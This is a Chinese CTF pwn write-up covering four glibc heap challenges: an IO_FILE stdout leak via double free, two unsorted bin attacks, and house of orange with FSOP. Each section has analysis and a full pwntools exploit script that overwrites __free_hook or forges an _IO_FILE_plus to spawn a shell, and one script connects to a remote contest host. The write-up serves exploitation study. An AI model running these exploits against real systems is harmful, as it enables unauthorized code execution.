十月一日总结-PWN
IO_FILE泄露glibc
首先利用工具查出libc版本,可以看出这是glibc_2.27

经过尝试,发现存在double_free漏洞,考虑到没有开启地址随机化保护,而且没有show函数,我们考虑通过IO_FILE泄露libc,
0x602080 <stdout@@GLIBC_2.2.5>: 0x00007f87b2616161 0x0000000000000000
0x602090 <stdin@@GLIBC_2.2.5> : 0x00007f87b21eda00 0x0000000000000000
0x6020a0 <stderr@@GLIBC_2.2.5>: 0x00007f87b21ee680 0x0000000000000000

因为<stdout@@GLIBC_2.2.5>: 0x00007fd54dc2a760 这个指针指向被认为了fd所以再次malloc时将从0x00007fd54dc2a760处取得。而我们正好可以修改_IO_2_1_stdout_来实现泄露libc

payload=p64(0xfdab1800)+p64(0)*3+b'\x00'
add(0x60,payload)
leak_vtable=u64(io.recvuntil("exit")[0x58:0x60])
libc_base=leak_vtable-libc.symbols["_IO_file_jumps"]
最后再次利用double_free实现get_shell
add(0x70,"aaa")
dele(5)
dele(5)
add(0x70,p64(free_hook))
add(0x70,b"/bin/sh\x00")
add(0x70,p64(system))
#gdb.attach(io)
dele(7)

最后exp如下:
#! /usr/bin/python3
from pwn import *
io = process('./IO_FILE')
elf = ELF('./IO_FILE')
libc = ELF("./libc.so.6")
context.log_level = 'debug'
def add (size,des):
io.sendlineafter(">",'1')
io.sendlineafter("size:",str(size))
io.sendafter("ion:",des)
def dele(idx):
io.sendlineafter(">",'2')
io.sendlineafter("index:",str(idx))
add(0x60,'aaa')
dele(0)
dele(0)
add(0x60,p64(0x602080))
add(0x60,b'\x60')
add(0x60,b'\x60')
payload=p64(0xfdab1800)+p64(0)*3+b'\x00'
add(0x60,payload)
gdb.attach(io)
leak_vtable=u64(io.recvuntil("exit")[0x58:0x60])
libc_base=leak_vtable-libc.symbols["_IO_file_jumps"]
free_hook=libc_base+libc.symbols["__free_hook"]
system=libc_base+libc.symbols["system"]
print("leak_vtable--->"+hex(leak_vtable))
print("libc_base----->"+hex(libc_base))
print("free_hook----->"+hex(free_hook))
print("system-------->"+hex(system))
add(0x70,"aaa")
dele(5)
dele(5)
add(0x70,p64(free_hook))
add(0x70,b"/bin/sh\x00")
add(0x70,p64(system))
#gdb.attach(io)
dele(7)
io.interactive()
长安杯2.27下的unsortbin_attack
int creat()
{
unsigned int id; // [rsp+0h] [rbp-10h]
int nbytes; // [rsp+4h] [rbp-Ch]
void *content; // [rsp+8h] [rbp-8h]
puts("idx?");
id = read_0x10();
if ( id > 0xF )
return puts("error!");
puts("size?");
nbytes = read_0x10();
size_202060[id] = nbytes;
if ( nbytes > 0x400 )
return puts("error!");
content = malloc(nbytes);
if ( !content )
return puts("error!");
*(&arr_2020E0 + id) = content;
puts("content?");
read(0, *(&arr_2020E0 + id), nbytes);
return puts("success!");
}
漏洞出现在这里,分析逻辑可以发现,程序运行时是先将size写入,之后才判断大小,因此存在漏洞,我们可以利用这里来进行泄露。
我们发现这里没有重复创建堆的判断,因此可以直接创建两个相同的堆。从而达到修改size的目的。
在首个unsortbin的fd中,存储这mainarea+96,而且其附近(-0x10)就是__malloc_hook,所以我们可以利用其泄露地址。
creat(7,0x80,'c'*0x80)
creat(7,0x500,'D')
edit (7,0x450,'D'*0x90)
show (7)
#gdb.attach(io)
leak = u64(io.recvuntil('\x7f',drop = True)[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
最后修改__free_hook为system并将参数设置为/bin/sh\x00,最最后free即可。

delet(0)
delet(1)
delet(2)
delet(8)
edit(7, 0x400, b'A' * (0x80) + p64(0) + p64(0x91) + p64(libc_base + libc.sym['__free_hook']))
creat(0, 0x80, b'/bin/sh\x00')
#gdb.attach(io)
creat(1, 0x80, p64(libc_base + libc.sym['system']))
delet(0)
exp如下
#! /usr/bin/python3
from pwn import *
#io = process('./main')
io = remote("113.201.14.253",21111)
elf = ELF('./main')
libc = ELF('./libc-2.27.so')
#libc = ELF('/glibc/2.29/64/lib/libc.so.6')
context.log_level = 'debug'
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
#----------function
def creat(idx, sz, d):
io.sendlineafter('>>', '1')
io.sendlineafter('?', str(idx))
io.sendlineafter('?', str(sz))
if(sz <= 0x400):
io.sendafter('?', d)
def ad(idx, sz, d):
sla('>>', '1')
sla('?', str(idx))
sla('?', str(sz))
if(sz <= 0x400):
sa('?', d)
def delet (idx):
sla('>>', '2')
sla('?', str(idx))
def edit (idx,size,content):
sla('>>', '3')
sla('?', str(idx))
sla('?', str(size))
sa('?', content)
def show (idx):
sla('>>', '4')
sla('?', str(idx))
#---------------
for i in range(9):
ad(i, 0x80, 'A' * 0x80)
for i in range(7):
delet(6-i)
delet(7)
for i in range(6):
ad(i, 0x80, 'A' * 0x80)
creat(7,0x80,'c'*0x80)
creat(7,0x500,'D')
edit (7,0x450,'D'*0x90)
show (7)
#gdb.attach(io)
leak = u64(io.recvuntil('\x7f',drop = True)[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
free_hook = libc_base + libc.sym['__free_hook']
print("leak------->"+hex(leak))
print("libc_base-->"+hex(libc_base))
print("free_hook-->"+hex(free_hook))
gdb.attach(io)
edit (7, 0x400, b'A' * (0x80) + p64(0) + p64(0x91))
#gdb.attach(io)
creat(8, 0x80, 'A' * 0x80)
delet(0)
delet(1)
delet(2)
delet(8)
edit(7, 0x400, b'A' * (0x80) + p64(0) + p64(0x91) + p64(libc_base + libc.sym['__free_hook']))
creat(0, 0x80, b'/bin/sh\x00')
#gdb.attach(io)
creat(1, 0x80, p64(libc_base + libc.sym['system']))
delet(0)
io.interactive()
io.close()
电信杯2.31unsortbin_attachk
观察代码,漏洞已经很明显了,使用gets函数导致了可以溢出
int __fastcall creat(__int64 a1)
{
unsigned int i; // [rsp+4h] [rbp-Ch]
void *v3; // [rsp+8h] [rbp-8h]
for ( i = 0; i <= 0x1F && qword_4060[i]; ++i )
;
if ( i == 32 )
((void (__fastcall *)(__int64))sub_12F8)(a1);
v3 = malloc(0x80uLL);
if ( !v3 )
{
puts("malloc error");
exit(1);
}
printf("content: ");
gets(v3);
qword_4060[i] = v3;
return puts("done");
}
考虑到我们需要使用unsortbin_attack,但是只能malloc 0x80的chunk,所以需要修改size>0x440,使得其free后可以进入unsortbin。
delet(0)
creat(b"a"*0x88 + p64(0x90*9+1))
delet(1)
creat("A")
show(2)
#fd = u64(io.recvuntil("\x7f")[-6:]+b'\x00\x00')
leak = u64(io.recvuntil('\x7f')[-6:]+b'\x00\x00')
此时我们完成了泄露,只需将__free_hook修改为system,参数设置为/bin/sh\x00,然后free即可
delet(6)
delet(5)
delet(4)
creat(b"a"*0x88 + p64(0x91) + p64(libc.sym['__free_hook']))
creat("B")
creat(p64(system_addre))
delet(10)
之前写的比较详细了,这里不在多讲。
exp如下:
#! /usr/bin/python3
from pwn import *
elf = ELF('./pwn1')
libc = ELF('/glibc/2.30/64/lib/libc.so.6')
context.log_level = 'debug'
io = process('./pwn1')
def creat(data):
io.sendlineafter(">> ",'1')
io.sendlineafter("content: ",data)
def show(idx):
io.sendlineafter(">> ",'3')
io.sendlineafter("index: ",str(idx))
def delet(idx):
io.sendlineafter(">> ",'2')
io.sendlineafter("index: ",str(idx))
for i in range(12): #0-12
creat(b"/bin/sh\x00")
delet(0)
creat(b"a"*0x88 + p64(0x90*9+1))
delet(1)
creat("A")
show(2)
#fd = u64(io.recvuntil("\x7f")[-6:]+b'\x00\x00')
leak = u64(io.recvuntil('\x7f')[-6:]+b'\x00\x00')
print("leak------>"+hex(leak))
libc_base = leak - 96 - 0x10 - libc.sym['__malloc_hook']
print("libc_base->",hex(libc_base))
libc.address = libc_base
system_addre = libc.sym['system']
delet(6)
delet(5)
delet(4)
creat(b"a"*0x88 + p64(0x91) + p64(libc.sym['__free_hook']))
creat("B")
creat(p64(system_addre))
delet(10)
io.interactive()
house_Of_orange
本题需要利用house_of_orange获得free_chunk , 然后再利用FSOP劫持程序执行流。
分析程序可以发现,在upgrade函数中会重新获取name的大小,因此这里存在溢出漏洞

然而,本程序并没有free功能,因此引出了house_of_orange技术。
可以通过溢出来修改top_chunk的size域,然后malloc一个大堆块,使得系统调用sysmalloc,
注意topchunk要对齐4kb 及 低位为0x1000
如果所需分配的 chunk 大小大于 mmap 分配阈值(默认为 128K,0x20000),就会调用mmap。
然后top_chunk就会进入unsorted bin , 从而实现free的功能。
那么我们如何劫持程序流呢?这里就引出了FSOP
注意,在2.23之后就无法在目标地址写入了。
在libc的_IO_list_all中,存放有一个_IO_FILE_plus结构体的指针,
如下图,它指向_IO_2_1_stderr_:

而_IO_FILE_plus结构体详细内容如下

其中_chain指向下一个_IO_FILE_plus结构体
在malloc中,它调用malloc_printerr来打印错误,经过一系列调用,最终来到_IO_flush_all_lockp:
while (fp != NULL)
{
…
fp = fp->_chain;
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
如果满足以下条件:
fp->_mode > 0
_IO_vtable_offset (fp) == 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
因此可以伪造一个_IO_FILE_plus , 从而满足这些条件
1.创建一个chunk,并溢出修改top_chunk的size . 使top_chunk满足house_of_orange的条件
2.malloc一个大堆块,使得调用sysmalloc 并使得top_chunk进入unsorted bin ,然后再malloc一个chunk,这是为了切割top_chunk,使其信息残留在新的chunk中,从而泄露地址。之后show(),计算出__malloc_hook 即可。

3.
为了再次泄露出堆的地址,我们再次编辑堆,然后show泄露残留的信息(fd,bk),并通过偏移计算出heap_base

4.之后伪造_IO_FILE_plus和一个fake_chuk
payload = b'a' * 0x400 + p64(0) + p64(0x21) + p64(0) + p64(0)
fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
溢出修改堆并使其原top_chunk作为 fake_IO_FILE_plus

再次malloc,触发错误,获得shell
malloc时,对unsorted bin进行判断,此时该chunk的size为0x61,不满足要求,就把该chunk放入small bin,并且向bk->fd写入main_arena+0x58,即向_IO_list_all写入main_arena+0x58
此时判断下一个unsorted bin(_IO_list_all),而这里实际上没有chunk,此时会触发错误
此时第一个_IO_FILE_plus结构体为main_arena+0x58,而它不满足条件,就通过_chain调到下一个_IO_FILE_plus结构体,_chain位于0x68偏移的地方,main_arena+0x58+0x68=main_arena+0xc0,就是small bin中0x60大小的地方,这就回到了我们伪造的_IO_FILE_plus结构体

在构造出smal bin的时候
small bin的头节点会储存在main_arena中
控制大小为0x60的时候,刚好头部地址储存对应 chain这个位置
EXP :
#! /usr/bin/python3
from pwn import *
from LibcSearcher import *
#r = remote("node4.buuoj.cn",29449)
r = process("./houseoforange_hitcon_2016")
context.log_level = 'debug'
elf = ELF("./houseoforange_hitcon_2016")
libc = elf.libc
def add(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('1')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name :")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))
def show():
r.recvuntil("Your choice : ")
r.sendline('2')
def edit(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('3')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name:")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))
add(0x30,'aaaa\n',0x1234,0xddaa)
payload = b'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)
add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, b'\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']
print("libc.address-->",hex(libc.address))
print("io_list_all--->",hex(io_list_all))
print("system-------->",hex(system))
payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, b'\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))
#pause()
payload = b'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')
r.interactive()




